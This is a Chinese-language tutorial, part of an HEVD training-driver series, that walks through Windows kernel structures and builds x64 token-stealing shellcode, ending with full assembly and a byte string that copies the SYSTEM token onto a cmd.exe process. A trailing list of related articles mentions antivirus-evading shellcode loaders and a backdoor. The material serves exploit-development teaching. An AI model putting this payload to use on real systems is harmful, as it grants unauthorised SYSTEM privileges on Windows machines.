HEVD 内核攻击: 编写Shellcode(三)

简介: 本文讲的是HEVD 内核攻击: 编写Shellcode(三),在上一篇文章中,我们已经能以可控的方式使用内核了。但是,当创建Windows内核漏洞利用时,目标通常都是希望以某种方式获得更高的权限,通常是SYSTEM权限。这时我们就必须用到内核有效载荷。
本文讲的是 HEVD 内核攻击: 编写Shellcode(三)

HEVD 内核攻击: 编写Shellcode(三)

在上一篇文章中,我们已经能以可控的方式使用内核了。但是,当创建Windows内核漏洞利用时,目标通常都是希望以某种方式获得更高的权限,通常是SYSTEM权限。这时我们就必须用到内核有效载荷。

窃取进程token

使用这个方法的最终目标是使用SYSTEM级别访问权限打开命令提示符。一旦我们在 ring 0中获取了执行的控制权限,就有办法来打开命令提示符。最常用的方法是窃取特权进程的进程token, Windows安全模型非常复杂的,不过我们这里有一些简化方法。

在Windows中,一切都可以被认为是一个对象(包括进程,文件,token等)。Windows使用称为安全描述符的结构来保证对象的安全(SECURITY_DESCRIPTOR)。安全描述符是 Windows 创建对象时所基于的结构的一个主要部分。这意味着 Windows可识别的每一个对象(可以是文件对象、注册表键、网络共享、互斥量、信号灯、进程、线程、令牌、硬件、服务、驱动……)都可以保证其安全。安全描述符结构既存在于内核模式也存在于用户模式,而且在两个模式中是一致的。

也就是说每个对象都由token标识。 SYSTEM token具有对任何对象执行任何活动的完全权限。因此,如果我们可以获得SYSTEM token并将其复制到局较少特权token的顶部,那么我们将获得对所有内容的完全访问权限。

为了实现这完全访问权限的目的,我们必须使用堆栈的缓冲区溢出,把驱动程序执行重定向到一个内存区域,不过这需要为重定向分配一些可执行内存,并在触发溢出之前,先将我们的shellcode进行复制。因为我们不能使用msfvenom转储一些粘贴过来的内核shellcode,所以我们必须另想办法。

为了编写一个全新的shellcode,我们必须了解一些我们将要处理的数据结构和对象。这些数据结构将帮助我们从静态位置转变到我们想要交换的进程token。

KPCR

由于Windows需要支持多个CPU, 因此Windows内核中为此定义了一套以处理器控制区(Processor Control Region)即KPCR为枢纽的数据结构, 使每个CPU都有个KPCR. 其中KPCR这个结构中有一个域KPRCB(Kernel Processor Control Block)结构, 这个结构扩展了KPCR. 这两个结构用来保存与线程切换相关的全局信息。

这对我们编写Shellcode很有用,因为在X86 CPU中,FS段寄存器用于指向线程环境块(TEB)和处理器控制区(Processor Control Region, KPCR),但是,在X64上,GS段寄存器在用户态是指向TEB,在内核态是指向KPCR

所以KPCR总是在gs:[0]处可用,当你创建与位置无关的代码时,这是很方便的:

0: kd> dt nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : Ptr64 _KGDTENTRY64
   +0x008 TssBase          : Ptr64 _KTSS64
   +0x010 UserRsp          : Uint8B
   +0x018 Self             : Ptr64 _KPCR
   +0x020 CurrentPrcb      : Ptr64 _KPRCB
   ...
   +0x118 PcrAlign1        : [24] Uint4B
   +0x180 Prcb             : _KPRCB

上面的结构代码看起来非常有趣,但我们关心的主要是列表中的最后一行,KPCR.Prcb是一个KPRCB结构。

KPRCB

从KPCR,我们可以得到内核处理器控制块(KPRCB),其中包含了指向当前线程的KTHREAD结构的指针。我们之所以关心这一点,是因为它为我们提供了处理器正在执行的线程的KTHREAD结构的位置。这个结构相当巨大,所以我列出前八行:

0: kd> dt nt!_KPRCB
   +0x000 MxCsr            : Uint4B
   +0x004 LegacyNumber     : UChar
   +0x005 ReservedMustBeZero : UChar
   +0x006 InterruptRequest : UChar
   +0x007 IdleHalt         : UChar
   +0x008 CurrentThread    : Ptr64 _KTHREAD
   +0x010 NextThread       : Ptr64 _KTHREAD
   +0x018 IdleThread       : Ptr64 _KTHREAD
   ...

因此,上面的KeGetCurrentThread 代码实际上是一条访问fs 寄存器加上特定偏移的指令。

在gs:[188]获得了当前线程的KTHREAD 结构指针以后,便可以很方便地获得ETHREAD 结构的指针,以及进程KPROCESS 或EPROCESS 结构的指针。在执行体层上获得当前线程和进程的函数分别是PsGetCurrentThread 和PsGetCurrentProcess。

KTHREAD

要了解KTHREAD,我们得先了解一下ETHREAD,我们知道,windows内核中的执行体层负责各种与管理和策略相关的功能,而内核层(微内核)实现了操作系统的核心机制。进程和线程在这两层上都有对应的数据结构。

ETHREAD(执行体线程块)是执行体层上的线程对象的数据结构。在windows内核中,每个进程的每一个线程都对应着一个ETHREAD数据结构。

而KTHREAD结构就是ETHREAD结构的第一部分,并且维护关于当前正在执行的线程的一些低级信息。我们的主要是想找到KTHREAD.ApcState,因为它是KAPC_STATE结构。以下是KTHREAD结构图:

0: kd> dt nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 CycleTime        : Uint8B
   +0x020 QuantumTarget    : Uint8B
   +0x028 InitialStack     : Ptr64 Void
   +0x030 StackLimit       : Ptr64 Void
   ...
   +0x050 ApcState         : _KAPC_STATE
   +0x050 ApcStateFill     : [43] UChar
   +0x07b Priority         : Char
   +0x07c NextProcessor    : Uint4B
   +0x080 DeferredProcessor : Uint4B
   +0x088 ApcQueueLock     : Uint8B
   +0x090 WaitStatus       : Int8B
   +0x098 WaitBlockList    : Ptr64 _KWAIT_BLOCK
   +0x0a0 WaitListEntry    : _LIST_ENTRY
   +0x0a0 SwapListEntry    : _SINGLE_LIST_ENTRY
   +0x0b0 Queue            : Ptr64 _KQUEUE
   +0x0b8 Teb              : Ptr64 Void
   ...

KAPC_STATE

每个线程都跟踪与其相关联的进程,KAPC_STATE结构非常简单:

0: kd> dt nt!_KAPC_STATE
   +0x000 ApcListHead      : [2] _LIST_ENTRY
   +0x020 Process          : Ptr64 _KPROCESS
   +0x028 KernelApcInProgress : UChar
   +0x029 KernelApcPending : UChar
   +0x02a UserApcPending   : UChar

现在,我们终于进入到KPROCESS的结构中。 KPROCESS结构类似于KTHREAD,是EPROCESS结构的第一部分。因为我们已经有了KPRCB.CurrentThread指针,所以我们知道我们正在寻找的KAPC_STATE.Process是在KPRCB.CurrentThread + 50 + 20的位置,我们可以再次做一些硬核处理,到当前的KAPC_STATE.Process添加70指向KPRCB.CurrentThread指针。

EPROCESS

EPROCESS块中不仅包含了进程相关的很多信息,还有很多指向其他相关结构数据结构的指针。例如每一个进程里面都至少有一个ETHREAD块表示的线程。进程的名字,和在用户空间的PEB(进程环境)块等等。EPROCESS中除了PEB成员块在是用户空间,其他都是在系统空间中的。

EPROCESS内部结构如下:

0: kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x160 ProcessLock      : _EX_PUSH_LOCK
   +0x168 CreateTime       : _LARGE_INTEGER
   +0x170 ExitTime         : _LARGE_INTEGER
   +0x178 RundownProtect   : _EX_RUNDOWN_REF
   +0x180 UniqueProcessId  : Ptr64 Void
   +0x188 ActiveProcessLinks : _LIST_ENTRY
   ...
   +0x208 Token            : _EX_FAST_REF
   ...
   +0x2d8 Session          : Ptr64 Void
   +0x2e0 ImageFileName    : [15] UChar
   +0x2ef PriorityClass    : UChar
   +0x2f0 JobLinks         : _LIST_ENTRY
   +0x300 LockedPagesList  : Ptr64 Void
   +0x308 ThreadListHead   : _LIST_ENTRY
   +0x318 SecurityPort     : Ptr64 Void
   +0x320 Wow64Process     : Ptr64 Void
   +0x328 ActiveThreads    : Uint4B
   +0x32c ImagePathHash    : Uint4B
   +0x330 DefaultHardErrorProcessing : Uint4B
   +0x334 LastThreadExitStatus : Int4B
   +0x338 Peb              : Ptr64 _PEB
    ...

EPROCESS.UniqueProcessId

EPROCESS.UniqueProcessId是带有当前进程PID的qword。这一点很重要,因为我们需要找到UniqueProcessId为“4”的EPROCESS结构,以便我们知道当前的SYSTEM进程,找到它的token。

HEVD 内核攻击: 编写Shellcode(三)

EPROCESS.ActiveProcessLinks

EPROCESS块中有一个ActiveProcessLinks,它是一个PLIST_ENTRY结构的双向链表。当一个新进程建立的时候父进程负责完成EPROCESS块,然后把ActiveProcessLinks链接到一个全局内核变量PsActiveProcessHead链表中。

这意味着列表中的每个条目都指向另一个进程的EPROCESS结构,偏移量高于EPROCESS基址的+188意味着每个条目在每个活动进程的UniqueProcessId之上偏移+8。

EPROCESS.Token

最后,EPROCESS.Token是分配给进程的访问Token。大家可能已经注意到Token是以EX_FAST_REF结构表示的。 Windows通过使用Token的结尾地址来让所有Token都对齐,并以0结尾。如下所示,大家可以看到偏移量+208处的指针与process debugger扩展名列出的Token不完全匹配,但可以使用一些布尔值算术:

0: kd> !process
PROCESS fffffa8004034a40
    SessionId: 1  Cid: 0d34    Peb: 7efdf000  ParentCid: 0570
    DirBase: 0af6b000  ObjectTable: fffff8a0050b42c0  HandleCount: 130.
    Image: pythonw.exe
    VadRoot fffffa8003d67b70 Vads 97 Clone 0 Private 1822. Modified 0. Locked 0.
    DeviceMap fffff8a00010b5c0
    Token                             fffff8a00383aa00
    ...
0: kd> dq fffffa8004034a40+208 l1
fffffa80`04034c48  fffff8a0`0383aa0f
0: kd> ? poi(fffffa8004034a40+208) & fffffffffffffff0
Evaluate expression: -8108839294464 = fffff8a0`0383aa00

把这些概念了解清楚之后,我们就可以开始编写我们的shellcode了,总共分6步

1.获取KTHREAD和EPROCESS指针

2.遍历ActiveProcessLinks列表以找到UniqueProcessId为4(SYSTEM)的EPROCESS,

3.保存SYSTEM Token

4.进入ActiveProcessLinks列表以找到与我们的shell(cmd.exe)相关联的EPROCESS,

5.将SYSTEM Token复制到cmd.exe Token的顶部

6.恢复shellcode

第一步,获取KTHREAD和EPROCESS指针

如前所述,这一步超级简单。 gs:[0]是KPRCR加上+180的KPRCB加+8的KTHREAD指针; KTHREAD指针加上+50是KAPC_STATE加上+20的EPROCESS指针:

start:
    mov rdx, [gs:188h]  ;KTHREAD pointer
    mov r8, [rdx+70h]   ;EPROCESS pointer

第二步,遍历ActiveProcessLinks

EPROCESS.ActiveProcessLinks是一个双向链表,意味着结构以一个指向下一个条目的指针开始,后面跟着一个指向前一个条目的指针,后面是实际条目。列表从EPROCESS结构基址的+188偏移处开始。每个条目指向每个活动进程的EPROCESS.ActiveProcessLinks列表。我们之前看到EPROCESS.UniqueProcessId与EPROCESS.ActiveProcessLinks列表的基址相对偏移为-8。我们将列表的头部加载到r9寄存器中,将第一个条目加载到rcx中,然后对列表中的每个条目设置一个循环遍历,查找UniqueProcessId 4:

mov r9, [r8+188h]    ;ActiveProcessLinks list head
    mov rcx, [r9]        ;follow link to first process in list
find_system:
    mov rdx, [rcx-8]     ;ActiveProcessLinks - 8 = UniqueProcessId
    cmp rdx, 4           ;UniqueProcessId == 4? 
    jz found_system      ;YES - move on
    mov rcx, [rcx]       ;NO - load next entry in list
    jmp find_system      ;loop

当这个循环运行完毕,我们就应该使用rcx寄存器,它包含一个指向+188偏移的指针,该指针指向SYSTEM进程的EPROCESS。

第三步,保存SYSTEM Token地址

保存SYSTEM Token很容易做到。 rax寄存器可以用来进行保存。此时,rcx指向SYSTEM EPROCESS + 188,我们想要的Token就在EPROCESS + 208。这意味着我们只需将rcx + 80移动到rax中,然后修改低4位的值以获得我们的SYSTEM Token指针:

found_system:
    mov rax, [rcx+80h]    ;offset to token
    and al, 0f0h          ;clear low 4 bits of _EX_FAST_REF structure

第四步,进入ActiveProcessLinks列表

这基本上与步骤二相同。唯一的区别是,我们要搜索产生的cmd.exe进程的PID,而不是PID“4”。我们将在下一篇为大家分析如何在Python中实现这些:

find_cmd:
    mov rdx, [rcx-8]    ;ActiveProcessLinks - 8 = UniqueProcessId
    cmp rdx, 1234h      ;UniqueProcessId == XXXX? (PLACEHOLDER)
    jz found_cmd        ;YES - move on
    mov rcx, [rcx]      ;NO - next entry in list
    jmp find_cmd        ;loop

这时在rcx会有一个地址指向cmd.exe的EPROCESS + 188。至此,我们就完成了Token的搜索。

第五步,将SYSTEM Token复制到cmd.exe Token

我们在rax中有SYSTEM Token,在rcx + 80中有cmd.exe Token。

found_cmd:
    mov [rcx+80h], rax    ;copy SYSTEM token over top of this process's token

至此我们就有一个shell运行下的SYSTEM权限。

第六步,恢复shellcode 

在溢出点处,堆栈包含了指向HEVD驱动器在rsp + 28处的地址:

0: kd> ?poi(rsp+28)
Evaluate expression: -8246261640726 = fffff880`048111ea
0: kd> u fffff880048111ea l1
HEVD+0x61ea:
fffff880`048111ea 488d0d6f110000  lea     rcx,[HEVD+0x7360 (fffff880`04812360)]

正如上所示,地址指向了HEVD + 0x61ea。这个地址有什么用呢?看看我们在上一篇文章提到的这个图,你就知道了。

HEVD 内核攻击: 编写Shellcode(三)

HEVD + 0x61ea刚好是返回地址回到IOCTL的调度表, HACKSYS_EVD_STACKOVERFLOW处理程序被调用!以下是简单的恢复步骤:

return:
    add rsp, 28h    ;HEVD+0x61ea
    ret

这包含了我们在shellcode中需要完成的一切!

我们将在下一篇文章中,讨论如何在Python漏洞中实现shellcode。

这是shellcode的最终形式:

[BITS 64]
; Windows 7 x64 token stealing shellcode
; based on http://mcdermottcybersecurity.com/articles/x64-kernel-privilege-escalation
start:
    mov rdx, [gs:188h]   ;KTHREAD pointer
    mov r8, [rdx+70h]    ;EPROCESS pointer
    mov r9, [r8+188h]    ;ActiveProcessLinks list head
    mov rcx, [r9]        ;follow link to first process in list
find_system:
    mov rdx, [rcx-8]     ;ActiveProcessLinks - 8 = UniqueProcessId
    cmp rdx, 4           ;UniqueProcessId == 4? 
    jz found_system      ;YES - move on
    mov rcx, [rcx]       ;NO - load next entry in list
    jmp find_system      ;loop
found_system:
    mov rax, [rcx+80h]   ;offset to token
    and al, 0f0h         ;clear low 4 bits of _EX_FAST_REF structure
find_cmd:
    mov rdx, [rcx-8]     ;ActiveProcessLinks - 8 = UniqueProcessId
    cmp rdx, 1234h       ;UniqueProcessId == ZZZZ? (PLACEHOLDER)
    jz found_cmd         ;YES - move on
    mov rcx, [rcx]       ;NO - next entry in list
    jmp find_cmd         ;loop
found_cmd:
    mov [rcx+80h], rax   ;copy SYSTEM token over top of this process's token
return:
    add rsp, 28h         ;HEVD+0x61ea
    ret
;String literal (replace xZZ's with PID):
;"x65x48x8Bx14x25x88x01x00x00x4Cx8Bx42x70x4Dx8Bx88"
;"x88x01x00x00x49x8Bx09x48x8Bx51xF8x48x83xFAx04x74"
;"x05x48x8Bx09xEBxF1x48x8Bx81x80x00x00x00x24xF0x48"
;"x8Bx51xF8x48x81xFAxZZxZZxZZxZZx74x05x48x8Bx09xEB"
;"xEEx48x89x81x80x00x00x00x48x83xC4x28xC3"



原文发布时间为:2017年3月27日
本文作者:xiaohui
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
一例简单的frida反调试绕过
一例简单的frida反调试绕过
|
8月前
|
存储 安全 Java
使您的软件运行起来: 防止缓冲区溢出(C语言精华帖)
使您的软件运行起来: 防止缓冲区溢出(C语言精华帖)
38 1
|
9月前
|
存储 安全 编译器
1.8 运用C编写ShellCode代码
在笔者前几篇文章中,我们使用汇编语言并通过自定位的方法实现了一个简单的`MessageBox`弹窗功能,但由于汇编语言过于繁琐在编写效率上不仅要考验开发者的底层功底,还需要写出更多的指令集,这对于普通人来说是非常困难的,当然除了通过汇编来实现`ShellCode`的编写以外,使用C同样可以实现编写,在多数情况下读者可以直接使用C开发,只有某些环境下对ShellCode条件有极为苛刻的长度限制时才会考虑使用汇编。
44 0
|
10月前
|
存储 安全 Shell
1.6 编写双管道ShellCode后门
本文将介绍如何将`CMD`绑定到双向管道上,这是一种常用的黑客反弹技巧,可以让用户在命令行界面下与其他程序进行交互,我们将从创建管道、启动进程、传输数据等方面对这个功能进行详细讲解。此外,本文还将通过使用汇编语言一步步来实现这个可被注入的`ShellCode`后门,并以此提高代码通用性。最终,我们将通过一个实际的漏洞攻击场景来展示如何利用这个后门实现内存注入攻击。
53 0
|
10月前
|
安全 Windows
4.4 x64dbg 绕过反调试保护机制
在Windows平台下,应用程序为了保护自己不被调试器调试会通过各种方法限制进程调试自身,通常此类反调试技术会限制我们对其进行软件逆向与漏洞分析,我们以第一种`IsDebuggerPresent`反调试为例,该函数用于检查当前程序是否在调试器的环境下运行。函数返回一个布尔值,如果当前程序正在被调试,则返回True,否则返回False。函数通过检查特定的内存地址来判断是否有调试器在运行。具体来说,该函数检查了`PEB(进程环境块)`数据结构中的`_PEB_LDR_DATA`字段,该字段标识当前程序是否处于调试状态。如果该字段的值为1,则表示当前程序正在被调试,否则表示当前程序没有被调试。
161 0
4.4 x64dbg 绕过反调试保护机制
|
11月前
|
Shell
驱动开发:内核ShellCode线程注入
还记得`《驱动开发:内核LoadLibrary实现DLL注入》`中所使用的注入技术吗,我们通过`RtlCreateUserThread`函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入`ShellCode`代码实现反弹Shell,这里需要注意一般情况下`RtlCreateUserThread`需要传入两个最重要的参数,一个是`StartAddress`开始执行的内存块,另一个是`StartParameter`传入内存块的变量列表,而如果将`StartParameter`地址填充为`NULL`则表明不传递任何参数,也就是只在线程中执行`ShellCode`代码,利用
318 1
|
12月前
|
安全 Shell
|
12月前
|
安全 Windows
【工具分享】免杀360&火绒的shellcode加载器
【工具分享】免杀360&火绒的shellcode加载器
312 0
|
存储 算法 安全
Cobaltstrike4.0 —— shellcode分析(一)
Cobaltstrike4.0 —— shellcode分析
231 0
|
存储 算法 安全
Cobaltstrike4.0 —— shellcode分析(二)
Cobaltstrike4.0 —— shellcode分析
206 0